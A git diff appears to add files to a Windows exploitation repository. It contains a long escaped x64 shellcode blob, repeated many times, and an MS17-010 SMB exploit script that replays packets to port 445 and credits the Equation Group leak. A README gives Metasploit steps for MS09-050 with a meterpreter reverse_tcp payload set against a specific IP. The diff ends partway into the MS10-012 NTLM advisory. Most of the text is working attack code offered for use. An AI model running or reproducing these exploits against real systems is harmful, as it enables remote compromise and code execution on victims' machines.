H\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA$H\\x01\\xf0^\\xc3H\\xd1\\xe1H\\x01\\xc8f\\x8b\\x00\\xc3H\\x81\\xca\\x00\\x00\\xff\\xffH\\x81\\xf2\\x00\\x00\\xff\\xffH\\xc1\\xe2\\x02H\\x01\\xd1H1\\xd2\\x8b\\x11H\\x01\\xd0\\xc3WVSUATAUAVAWI\\x89\\xe4H\\x81\\xec\\x08\\x01\\x00\\x00I\\x89\\xcfH\\x8d-\\xe0\\xff\\xff\\xfff\\x81\\xe5\\x00\\xf0H\\x89MXH1\\xd2f\\x8bQ\\x02H\\x01\\xcaH;\\x11t\\x06H\\x8dI\\x08\\xeb\\xf5H\\x8dA(H\\x89E4H\\x8bA\\xf0H\\x89E(\\xe8(\\x01\\x00\\x00\\xe8{\\x01\\x00\\x00H\\x85\\xc0\\x0f\\x84\\xed\\x00\\x00\\x00L\\x8bmPEu\\x12H\\x81\\xc6\\x88\\x00\\x00\\x00H1\\xff\\x8b>H\\x01\\xf8_^\\xc3H1\\xc0\\xeb\\xf8VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x07\\x01\\xc8H\\xff\\xc6\\xeb\\xe7_Y^\\xc3VWRH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0H\\xff\\xc6\\xe2\\xecZ_^\\xc3VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\n\\x01\\xc8H\\xff\\xc6H\\xff\\xc6\\xeb\\xe4_Y^\\xc3VH\\x89\\xc6H\\x83\\xc6\\x18H1\\xc0\\x8b\\x06^\\xc3SeH\\x8b\\x04%8\\x00\\x00\\x00H\\x8b@\\x04H\\xc1\\xe8\\x0cH\\xc1\\xe0\\x0cH\\x8b\\x18f\\x81\\xfbMZt\\x08H-\\x00\\x10\\x00\\x00\\xeb\\xee[\\xc3WVQH1\\xffH\\x89\\xc6H1\\xc0\\x8b\\x04\\xbaH\\x01\\xf0\\xe8@\\xff\\xff\\xff9\\xc8t\\x0eH\\xff\\xc7H9\\xdft\\x0b\\xeb\\xe4Y^_\\xc3H\\x89\\xf8\\xeb\\xf7H1\\xc0\\xeb\\xf2VH\\x89\\xc6H1\\xc0\\x8bA\\x1cH\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA H\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA$H\\x01\\xf0^\\xc3H\\xd1\\xe1H\\x01\\xc8f\\x8b\\x00\\xc3H\\x81\\xca\\x00\\x00\\xff\\xffH\\x81\\xf2\\x00\\x00\\xff\\xffH\\xc1\\xe2\\x02H\\x01\\xd1H1\\xd2\\x8b\\x11H\\x01\\xd0\\xc3WVSUATAUAVAWI\\x89\\xe4H\\x81\\xec\\x08\\x01\\x00\\x00I\\x89\\xcfH\\x8d-\\xe0\\xff\\xff\\xfff\\x81\\xe5\\x00\\xf0H\\x89MXH1\\xd2f\\x8bQ\\x02H\\x01\\xcaH;\\x11t\\x06H\\x8dI\\x08\\xeb\\xf5H\\x8dA(H\\x89E4H\\x8bA\\xf0H\\x89E(\\xe8(\\x01\\x00\\x00\\xe8{\\x01\\x00\\x00H\\x85\\xc0\\x0f\\x84\\xed\\x00\\x00\\x00L\\x8bmPEu\\x12H\\x81\\xc6\\x88\\x00\\x00\\x00H1\\xff\\x8b>H\\x01\\xf8_^\\xc3H1\\xc0\\xeb\\xf8VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x07\\x01\\xc8H\\xff\\xc6\\xeb\\xe7_Y^\\xc3VWRH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0H\\xff\\xc6\\xe2\\xecZ_^\\xc3VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\n\\x01\\xc8H\\xff\\xc6H\\xff\\xc6\\xeb\\xe4_Y^\\xc3VH\\x89\\xc6H\\x83\\xc6\\x18H1\\xc0\\x8b\\x06^\\xc3SeH\\x8b\\x04%8\\x00\\x00\\x00H\\x8b@\\x04H\\xc1\\xe8\\x0cH\\xc1\\xe0\\x0cH\\x8b\\x18f\\x81\\xfbMZt\\x08H-\\x00\\x10\\x00\\x00\\xeb\\xee[\\xc3WVQH1\\xffH\\x89\\xc6H1\\xc0\\x8b\\x04\\xbaH\\x01\\xf0\\xe8@\\xff\\xff\\xff9\\xc8t\\x0eH\\xff\\xc7H9\\xdft\\x0b\\xeb\\xe4Y^_\\xc3H\\x89\\xf8\\xeb\\xf7H1\\xc0\\xeb\\xf2VH\\x89\\xc6H1\\xc0\\x8bA\\x1cH\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA H\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA$H\\x01\\xf0^\\xc3H\\xd1\\xe1H\\x01\\xc8f\\x8b\\x00\\xc3H\\x81\\xca\\x00\\x00\\xff\\xffH\\x81\\xf2\\x00\\x00\\xff\\xffH\\xc1\\xe2\\x02H\\x01\\xd1H1\\xd2\\x8b\\x11H\\x01\\xd0\\xc3WVSUATAUAVAWI\\x89\\xe4H\\x81\\xec\\x08\\x01\\x00\\x00I\\x89\\xcfH\\x8d-\\xe0\\xff\\xff\\xfff\\x81\\xe5\\x00\\xf0H\\x89MXH1\\xd2f\\x8bQ\\x02H\\x01\\xcaH;\\x11t\\x06H\\x8dI\\x08\\xeb\\xf5H\\x8dA(H\\x89E4H\\x8bA\\xf0H\\x89E(\\xe8(\\x01\\x00\\x00\\xe8{\\x01\\x00\\x00H\\x85\\xc0\\x0f\\x84\\xed\\x00\\x00\\x00L\\x8bmPEu\\x12H\\x81\\xc6\\x88\\x00\\x00\\x00H1\\xff\\x8b>H\\x01\\xf8_^\\xc3H1\\xc0\\xeb\\xf8VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x07\\x01\\xc8H\\xff\\xc6\\xeb\\xe7_Y^\\xc3VWRH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0H\\xff\\xc6\\xe2\\xecZ_^\\xc3VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\n\\x01\\xc8H\\xff\\xc6H\\xff\\xc6\\xeb\\xe4_Y^\\xc3VH\\x89\\xc6H\\x83\\xc6\\x18H1\\xc0\\x8b\\x06^\\xc3SeH\\x8b\\x04%8\\x00\\x00\\x00H\\x8b@\\x04H\\xc1\\xe8\\x0cH\\xc1\\xe0\\x0cH\\x8b\\x18f\\x81\\xfbMZt\\x08H-\\x00\\x10\\x00\\x00\\xeb\\xee[\\xc3WVQH1\\xffH\\x89\\xc6H1\\xc0\\x8b\\x04\\xbaH\\x01\\xf0\\xe8@\\xff\\xff\\xff9\\xc8t\\x0eH\\xff\\xc7H9\\xdft\\x0b\\xeb\\xe4Y^_\\xc3H\\x89\\xf8\\xeb\\xf7H1\\xc0\\xeb\\xf2VH\\x89\\xc6H1\\xc0\\x8bA\\x1cH\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA H\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA$H\\x01\\xf0^\\xc3H\\xd1\\xe1H\\x01\\xc8f\\x8b\\x00\\xc3H\\x81\\xca\\x00\\x00\\xff\\xffH\\x81\\xf2\\x00\\x00\\xff\\xffH\\xc1\\xe2\\x02H\\x01\\xd1H1\\xd2\\x8b\\x11H\\x01\\xd0\\xc3WVSUATAUAVAWI\\x89\\xe4H\\x81\\xec\\x08\\x01\\x00\\x00I\\x89\\xcfH\\x8d-\\xe0\\xff\\xff\\xfff\\x81\\xe5\\x00\\xf0H\\x89MXH1\\xd2f\\x8bQ\\x02H\\x01\\xcaH;\\x11t\\x06H\\x8dI\\x08\\xeb\\xf5H\\x8dA(H\\x89E4H\\x8bA\\xf0H\\x89E(\\xe8(\\x01\\x00\\x00\\xe8{\\x01\\x00\\x00H\\x85\\xc0\\x0f\\x84\\xed\\x00\\x00\\x00L\\x8bmPEu\\x12H\\x81\\xc6\\x88\\x00\\x00\\x00H1\\xff\\x8b>H\\x01\\xf8_^\\xc3H1\\xc0\\xeb\\xf8VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x07\\x01\\xc8H\\xff\\xc6\\xeb\\xe7_Y^\\xc3VWRH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0H\\xff\\xc6\\xe2\\xecZ_^\\xc3VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\n\\x01\\xc8H\\xff\\xc6H\\xff\\xc6\\xeb\\xe4_Y^\\xc3VH\\x89\\xc6H\\x83\\xc6\\x18H1\\xc0\\x8b\\x06^\\xc3SeH\\x8b\\x04%8\\x00\\x00\\x00H\\x8b@\\x04H\\xc1\\xe8\\x0cH\\xc1\\xe0\\x0cH\\x8b\\x18f\\x81\\xfbMZt\\x08H-\\x00\\x10\\x00\\x00\\xeb\\xee[\\xc3WVQH1\\xffH\\x89\\xc6H1\\xc0\\x8b\\x04\\xbaH\\x01\\xf0\\xe8@\\xff\\xff\\xff9\\xc8t\\x0eH\\xff\\xc7H9\\xdft\\x0b\\xeb\\xe4Y^_\\xc3H\\x89\\xf8\\xeb\\xf7H1\\xc0\\xeb\\xf2VH\\x89\\xc6H1\\xc0\\x8bA\\x1cH\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA H\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA$H\\x01\\xf0^\\xc3H\\xd1\\xe1H\\x01\\xc8f\\x8b\\x00\\xc3H\\x81\\xca\\x00\\x00\\xff\\xffH\\x81\\xf2\\x00\\x00\\xff\\xffH\\xc1\\xe2\\x02H\\x01\\xd1H1\\xd2\\x8b\\x11H\\x01\\xd0\\xc3WVSUATAUAVAWI\\x89\\xe4H\\x81\\xec\\x08\\x01\\x00\\x00I\\x89\\xcfH\\x8d-\\xe0\\xff\\xff\\xfff\\x81\\xe5\\x00\\xf0H\\x89MXH1\\xd2f\\x8bQ\\x02H\\x01\\xcaH;\\x11t\\x06H\\x8dI\\x08\\xeb\\xf5H\\x8dA(H\\x89E4H\\x8bA\\xf0H\\x89E(\\xe8(\\x01\\x00\\x00\\xe8{\\x01\\x00\\x00H\\x85\\xc0\\x0f\\x84\\xed\\x00\\x00\\x00L\\x8bmPEu\\x12H\\x81\\xc6\\x88\\x00\\x00\\x00H1\\xff\\x8b>H\\x01\\xf8_^\\xc3H1\\xc0\\xeb\\xf8VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x07\\x01\\xc8H\\xff\\xc6\\xeb\\xe7_Y^\\xc3VWRH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0H\\xff\\xc6\\xe2\\xecZ_^\\xc3VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\n\\x01\\xc8H\\xff\\xc6H\\xff\\xc6\\xeb\\xe4_Y^\\xc3VH\\x89\\xc6H\\x83\\xc6\\x18H1\\xc0\\x8b\\x06^\\xc3SeH\\x8b\\x04%8\\x00\\x00\\x00H\\x8b@\\x04H\\xc1\\xe8\\x0cH\\xc1\\xe0\\x0cH\\x8b\\x18f\\x81\\xfbMZt\\x08H-\\x00\\x10\\x00\\x00\\xeb\\xee[\\xc3WVQH1\\xffH\\x89\\xc6H1\\xc0\\x8b\\x04\\xbaH\\x01\\xf0\\xe8@\\xff\\xff\\xff9\\xc8t\\x0eH\\xff\\xc7H9\\xdft\\x0b\\xeb\\xe4Y^_\\xc3H\\x89\\xf8\\xeb\\xf7H1\\xc0\\xeb\\xf2VH\\x89\\xc6H1\\xc0\\x8bA\\x1cH\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA H\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA$H\\x01\\xf0^\\xc3H\\xd1\\xe1H\\x01\\xc8f\\x8b\\x00\\xc3H\\x81\\xca\\x00\\x00\\xff\\xffH\\x81\\xf2\\x00\\x00\\xff\\xffH\\xc1\\xe2\\x02H\\x01\\xd1H1\\xd2\\x8b\\x11H\\x01\\xd0\\xc3WVSUATAUAVAWI\\x89\\xe4H\\x81\\xec\\x08\\x01\\x00\\x00I\\x89\\xcfH\\x8d-\\xe0\\xff\\xff\\xfff\\x81\\xe5\\x00\\xf0H\\x89MXH1\\xd2f\\x8bQ\\x02H\\x01\\xcaH;\\x11t\\x06H\\x8dI\\x08\\xeb\\xf5H\\x8dA(H\\x89E4H\\x8bA\\xf0H\\x89E(\\xe8(\\x01\\x00\\x00\\xe8{\\x01\\x00\\x00H\\x85\\xc0\\x0f\\x84\\xed\\x00\\x00\\x00L\\x8bmPEu\\x12H\\x81\\xc6\\x88\\x00\\x00\\x00H1\\xff\\x8b>H\\x01\\xf8_^\\xc3H1\\xc0\\xeb\\xf8VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x07\\x01\\xc8H\\xff\\xc6\\xeb\\xe7_Y^\\xc3VWRH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0H\\xff\\xc6\\xe2\\xecZ_^\\xc3VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\n\\x01\\xc8H\\xff\\xc6H\\xff\\xc6\\xeb\\xe4_Y^\\xc3VH\\x89\\xc6H\\x83\\xc6\\x18H1\\xc0\\x8b\\x06^\\xc3SeH\\x8b\\x04%8\\x00\\x00\\x00H\\x8b@\\x04H\\xc1\\xe8\\x0cH\\xc1\\xe0\\x0cH\\x8b\\x18f\\x81\\xfbMZt\\x08H-\\x00\\x10\\x00\\x00\\xeb\\xee[\\xc3WVQH1\\xffH\\x89\\xc6H1\\xc0\\x8b\\x04\\xbaH\\x01\\xf0\\xe8@\\xff\\xff\\xff9\\xc8t\\x0eH\\xff\\xc7H9\\xdft\\x0b\\xeb\\xe4Y^_\\xc3H\\x89\\xf8\\xeb\\xf7H1\\xc0\\xeb\\xf2VH\\x89\\xc6H1\\xc0\\x8bA\\x1cH\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA H\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA$H\\x01\\xf0^\\xc3H\\xd1\\xe1H\\x01\\xc8f\\x8b\\x00\\xc3H\\x81\\xca\\x00\\x00\\xff\\xffH\\x81\\xf2\\x00\\x00\\xff\\xffH\\xc1\\xe2\\x02H\\x01\\xd1H1\\xd2\\x8b\\x11H\\x01\\xd0\\xc3WVSUATAUAVAWI\\x89\\xe4H\\x81\\xec\\x08\\x01\\x00\\x00I\\x89\\xcfH\\x8d-\\xe0\\xff\\xff\\xfff\\x81\\xe5\\x00\\xf0H\\x89MXH1\\xd2f\\x8bQ\\x02H\\x01\\xcaH;\\x11t\\x06H\\x8dI\\x08\\xeb\\xf5H\\x8dA(H\\x89E4H\\x8bA\\xf0H\\x89E(\\xe8(\\x01\\x00\\x00\\xe8{\\x01\\x00\\x00H\\x85\\xc0\\x0f\\x84\\xed\\x00\\x00\\x00L\\x8bmPEu\\x12H\\x81\\xc6\\x88\\x00\\x00\\x00H1\\xff\\x8b>H\\x01\\xf8_^\\xc3H1\\xc0\\xeb\\xf8VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x07\\x01\\xc8H\\xff\\xc6\\xeb\\xe7_Y^\\xc3VWRH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0H\\xff\\xc6\\xe2\\xecZ_^\\xc3VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\n\\x01\\xc8H\\xff\\xc6H\\xff\\xc6\\xeb\\xe4_Y^\\xc3VH\\x89\\xc6H\\x83\\xc6\\x18H1\\xc0\\x8b\\x06^\\xc3SeH\\x8b\\x04%8\\x00\\x00\\x00H\\x8b@\\x04H\\xc1\\xe8\\x0cH\\xc1\\xe0\\x0cH\\x8b\\x18f\\x81\\xfbMZt\\x08H-\\x00\\x10\\x00\\x00\\xeb\\xee[\\xc3WVQH1\\xffH\\x89\\xc6H1\\xc0\\x8b\\x04\\xbaH\\x01\\xf0\\xe8@\\xff\\xff\\xff9\\xc8t\\x0eH\\xff\\xc7H9\\xdft\\x0b\\xeb\\xe4Y^_\\xc3H\\x89\\xf8\\xeb\\xf7H1\\xc0\\xeb\\xf2VH\\x89\\xc6H1\\xc0\\x8bA\\x1cH\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA H\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA$H\\x01\\xf0^\\xc3H\\xd1\\xe1H\\x01\\xc8f\\x8b\\x00\\xc3H\\x81\\xca\\x00\\x00\\xff\\xffH\\x81\\xf2\\x00\\x00\\xff\\xffH\\xc1\\xe2\\x02H\\x01\\xd1H1\\xd2\\x8b\\x11H\\x01\\xd0\\xc3WVSUATAUAVAWI\\x89\\xe4H\\x81\\xec\\x08\\x01\\x00\\x00I\\x89\\xcfH\\x8d-\\xe0\\xff\\xff\\xfff\\x81\\xe5\\x00\\xf0H\\x89MXH1\\xd2f\\x8bQ\\x02H\\x01\\xcaH;\\x11t\\x06H\\x8dI\\x08\\xeb\\xf5H\\x8dA(H\\x89E4H\\x8bA\\xf0H\\x89E(\\xe8(\\x01\\x00\\x00\\xe8{\\x01\\x00\\x00H\\x85\\xc0\\x0f\\x84\\xed\\x00\\x00\\x00L\\x8bmPEu\\x12H\\x81\\xc6\\x88\\x00\\x00\\x00H1\\xff\\x8b>H\\x01\\xf8_^\\xc3H1\\xc0\\xeb\\xf8VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x07\\x01\\xc8H\\xff\\xc6\\xeb\\xe7_Y^\\xc3VWRH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0H\\xff\\xc6\\xe2\\xecZ_^\\xc3VQWH\\x89\\xc6H1\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\n\\x01\\xc8H\\xff\\xc6H\\xff\\xc6\\xeb\\xe4_Y^\\xc3VH\\x89\\xc6H\\x83\\xc6\\x18H1\\xc0\\x8b\\x06^\\xc3SeH\\x8b\\x04%8\\x00\\x00\\x00H\\x8b@\\x04H\\xc1\\xe8\\x0cH\\xc1\\xe0\\x0cH\\x8b\\x18f\\x81\\xfbMZt\\x08H-\\x00\\x10\\x00\\x00\\xeb\\xee[\\xc3WVQH1\\xffH\\x89\\xc6H1\\xc0\\x8b\\x04\\xbaH\\x01\\xf0\\xe8@\\xff\\xff\\xff9\\xc8t\\x0eH\\xff\\xc7H9\\xdft\\x0b\\xeb\\xe4Y^_\\xc3H\\x89\\xf8\\xeb\\xf7H1\\xc0\\xeb\\xf2VH\\x89\\xc6H1\\xc0\\x8bA\\x1cH\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA H\\x01\\xf0^\\xc3VH\\x89\\xc6H1\\xc0\\x8bA$H\\x01\\xf0^\\xc3H\\xd1\\xe1H\\x01\\xc8f\\x8b\\x00\\xc3H\\x81\\xca\\x00\\x00\\xff\\xffH\\x81\\xf2\\x00\\x00\\xff\\xffH\\xc1\\xe2\\x02H\\x01\\xd1H1\\xd2\\x8b\\x11H\\x01\\xd0\\xc3WVSUATAUAVAWI\\x89\\xe4H\\x81\\xec\\x08\\x01\\x00\\x00I\\x89\\xcfH\\x8d-\\xe0\\xff\\xff\\xfff\\x81\\xe5\\x00\\xf0H\\x89MXH1\\xd2f\\x8bQ\\x02H\\x01\\xcaH;\\x11t\\x06H\\x8dI\\x08\\xeb\\xf5H\\x8dA(H\\x89E4H\\x8bA\\xf0H\\x89E(\\xe8(\\x01\\x00\\x00\\xe8{\\x01\\x00\\x00H\\x85\\xc0\\x0f\\x84\\xed\\x00\\x00\\x00L\\x8bm 0: + time.sleep(delta) + start = time.monotonic() + if i[0] == "connect": + sock = socket.socket() + sock.connect((hostip,445)) + connections.append({"socket":sock,"stream" : i[1]}) + if i[0] == "close": + [j['socket'].close() for j in connections if j["stream"] == i[1]] + if i[0] == "send": + data = i[2].replace(b"__USERID__PLACEHOLDER__", userid) + data = data.replace(b"__TREEID__PLACEHOLDER__", treeid) + [j['socket'].send(data) for j in connections if j["stream"] == i[1]] + if i[0] == "recv": + data = [j['socket'].recv(2048) for j in connections if j['stream'] == i[1]] + if len(i) > 3: + if i[2] == "treeid": + treeid = data[0][28:30] + if i[2] == "userid": + userid = data[0][32:34] + os.remove("smb.dat") + print("[*] Thanks NSA!") + print("[*] Creditz: @EquationGroup @ShadowBrokers @progmboy @zerosum0x0 @juansacco") + print("[*] KPN Red team: ") + +if __name__ == "__main__": + print("[*] MS17-010 Exploit - SMBv1 SrvOs2FeaToNt OOB") + print("[*] Exploit running.. Please wait") + main(sys.argv[1]) \ No newline at end of file diff --git a/97-Windows提权/MS09-050/README.md b/97-Windows提权/MS09-050/README.md new file mode 100644 index 0000000..71337f1 --- /dev/null +++ b/97-Windows提权/MS09-050/README.md @@ -0,0 +1,43 @@ +# MS09-050 + +``` +This module exploits an out of bounds function table dereference in the SMB +request validation code of the SRV2.SYS driver included with Windows Vista, +Windows 7 release candidates (not RTM), and Windows 2008 Server prior to R2. +Windows Vista without SP1 does not seem affected by this flaw. +``` + +Vulnerability reference: + * [MS09-050](https://technet.microsoft.com/library/security/ms09-050) + * [CVE-2009-2532](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2532) + +## Usage +``` +msf > search MS09_050 +msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index +msf exploit(ms09_050_smb2_negotiate_func_index) > options +msf exploit(ms09_050_smb2_negotiate_func_index) > set payload windows/meterpreter/reverse_tcp +msf exploit(ms09_050_smb2_negotiate_func_index) > set rhost 110.196.193.102 +msf exploit(ms09_050_smb2_negotiate_func_index) > run +``` + + + +## load the module within the Metasploit console +[msf](https://www.rapid7.com/db/modules/exploit/windows/smb/ms09_050_smb2_negotiate_func_index) +``` +msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index +msf exploit(ms09_050_smb2_negotiate_func_index) > show targets + ...targets... +msf exploit(ms09_050_smb2_negotiate_func_index) > set TARGET +msf exploit(ms09_050_smb2_negotiate_func_index) > show options + ...show and set options... +msf exploit(ms09_050_smb2_negotiate_func_index) > exploit +``` + +## References +[MS09-050漏洞测试](http://edu.aqniu.com/group/30/thread/107) +[MS09-050 vulnerability](https://www.youtube.com/watch?v=cytEOUQ6QsI) + + + diff --git a/97-Windows提权/MS10-012/MS10-012.txt b/97-Windows提权/MS10-012/MS10-012.txt new file mode 100644 index 0000000..d3683d5 --- /dev/null +++ b/97-Windows提权/MS10-012/MS10-012.txt @@ -0,0 +1,1742 @@ + Windows SMB NTLM Authentication Weak Nonce Vulnerability + Security Advisory + Hernan Ochoa (hernan@ampliasecurity.com) - Agustin Azubel (aazubel@ampliasecurity.com) + + +Title: Windows SMB NTLM Authentication Weak Nonce Vulnerability +Advisory ID: OCHOA-2010-0209 +Advisory URL: http://www.hexale.org/advisories/OCHOA-2010-0209.txt +Date published: 2010-02-09 +Vendors contacted: Microsoft +Release mode: Coordinated release +Last Updated: 2010-09-18 + + +Index +----- + +1.Vulnerablity information +2.Vulnerablity description +3.Vulnerable systems +4.Vendor Information, solutions and workarounds +5.Credits +6.Technical description +6.1.NTLM authentication protocol +6.2.The Flaws +6.3.Detecting if the SMB service generates duplicate 8-byte challenges +6.4.Exploiting duplicate challenges +6.4.1.Proof-of-Concept Exploit +6.5.Predicting challenges +6.5.1.SMB service: challenge generation process +6.5.2.Proof-of-Concept Exploit +7.References +8.Disclaimer + + +1.Vulnerability information +--------------------------- + +Impact: An unauthenticated remote attacker without any kind of credentials can access the SMB service under the credentials of an authorized user. Depending on the privileges of the authorized user, and the configuration of the remote system, an attacker can gain read/write access to the remote file system and execute arbitrary code by using DCE/RPC over SMB. +Remotely Exploitable: Yes +Bugtraq Id: +CVE: CVE-2010-0231 + + +2.Vulnerability description +--------------------------- + +Microsoft Server Message Block (SMB) Protocol is a Microsoft network file sharing protocol also used for sharing printers, communications abstractions such as named pipes and mailslots, and performing Remote Procedure Calls (DCE/RPC over SMB) [1]. + +NTLM (NT Lan Manager) is a challenge-response authentication protocol used by the SMB protocol [2]. + +Windows systems commonly use the SMB protocol with NTLM authentication for network file/printer sharing and remote administration via DCE/RPC. + +Flaws in Microsoft's implementation of the NTLM challenge-response authentication protocol causing the server to generate duplicate challenges/nonces and an information leak allow an unauthenticated remote attacker without any kind of credentials to access the SMB service of the target system under the credentials of an authorized user. Depending on the privileges of the user, the attacker will be able to obtain and modify files on the target system and execute arbitrary code. + +3.Vulnerable Systems +-------------------- + +This vulnerability was verified by the authors on the following platforms: + +Windows NT 3.1/3.5 +Windows NT4 SP1 +Windows Server 2003 SP2 +Windows XP SP3 +Windows Vista x32 +Windows 7 x32 RC + +However, all versions of Windows implementing NTLM v1 and v2 are suspected to be affected. + +Microsoft, in their "Microsoft Security Bulletin Advance Notification for February 2010" [3], list the following platforms as affected: + +Windows 2000 SP4 +Windows XP SP2 and SP3 +Windows XP Professional x64 Edition SP2 +Windows Server 2003 SP2 +Windows Server 2003 x64 Edition SP2 +Windows Server 2003 SP2 for Itanium-based systems +Windows Vista +Windows Vista SP1 +Windows Vista SP2 +Windows Vista x64 Edition +Windows Vista x64 Edition SP1 +Windows Vista x64 Edition SP2 +Windows Server 2008 x32 +Windows Server 2008 x32 SP2 +Windows Server 2008 x64 SP2 +Windows Server 2008 x64 SP2 +Windows Server 2008 for Itanium-based systems +Windows Server 2008 for Itanium-based systems SP2 +Windows 7 x32 + +See [3] for more details. + +Given that Windows NT 3.1 (which we have confirmed is also affected) was released in ~1993 this vulnerability has been present for ~17 years in all Windows systems. + + +4.Vendor Information, Solutions and Workarounds +----------------------------------------------- + +SMB NTLM Authentication Lack of Entropy Vulnerability - CVE-2010-0231 +http://www.microsoft.com/technet/security/bulletin/ms10-012.mspx + +5.Credits +--------- + +This vulnerability was discovered by Hernan Ochoa (Security Consultant and Researcher) and it was researched by Hernan Ochoa and Agustin Azubel (Security Consultant and Researcher). + +6.Technical description +------------------------ + +Microsoft Server Message Block (SMB) Protocol is a Microsoft network file sharing protocol also used for sharing printers, communications abstractions such as named pipes and mailslots, and performing Remote Procedure Calls (DCE/RPC over SMB) [1]. + +NTLM (NT Lan Manager) is a challenge-response authentication protocol used by the SMB protocol [2]. + +Windows systems commonly use the SMB protocol with NTLM authentication for network file/printer sharing and remote administration via DCE/RPC. + +Flaws in Microsoft's implementation of the NTLM challenge-response authentication protocol causing the server to generate duplicate challenges/nonces and an information leak allow an unauthenticated remote attacker without any kind of credentials to access the SMB service of the target system under the credentials of an authorized user. Depending on the privileges of the user, the attacker will be able to obtain and modify files on the target system and execute arbitrary code. + +6.1.NTLM authentication protocol +---------------------------------- + +The NTLMv1 authentication protocol is a challenge-response protocol that consists of the following messages: + + 1. The client sends to the server a message containing a set of flags of +features supported/requested to perform authentication. + 2. The server responds with a message containing a set of flags supported/required by the server enabling both ends to agree on the authentication parameters and, more importantly, an 8-byte random challenge/nonce. + 3. The client uses the random challenge/nonce and the user's credentials to calculate the response (24 bytes) and sends it to the server. + 4. The server determines if the response is correct and allows or disallows access to the client. + +The randomness of the 8-byte challenge/nonce returned by the server tries to ensure that every challenge-response sequence is unique helping protect against replay attacks. + +The NTLMv2 authentication 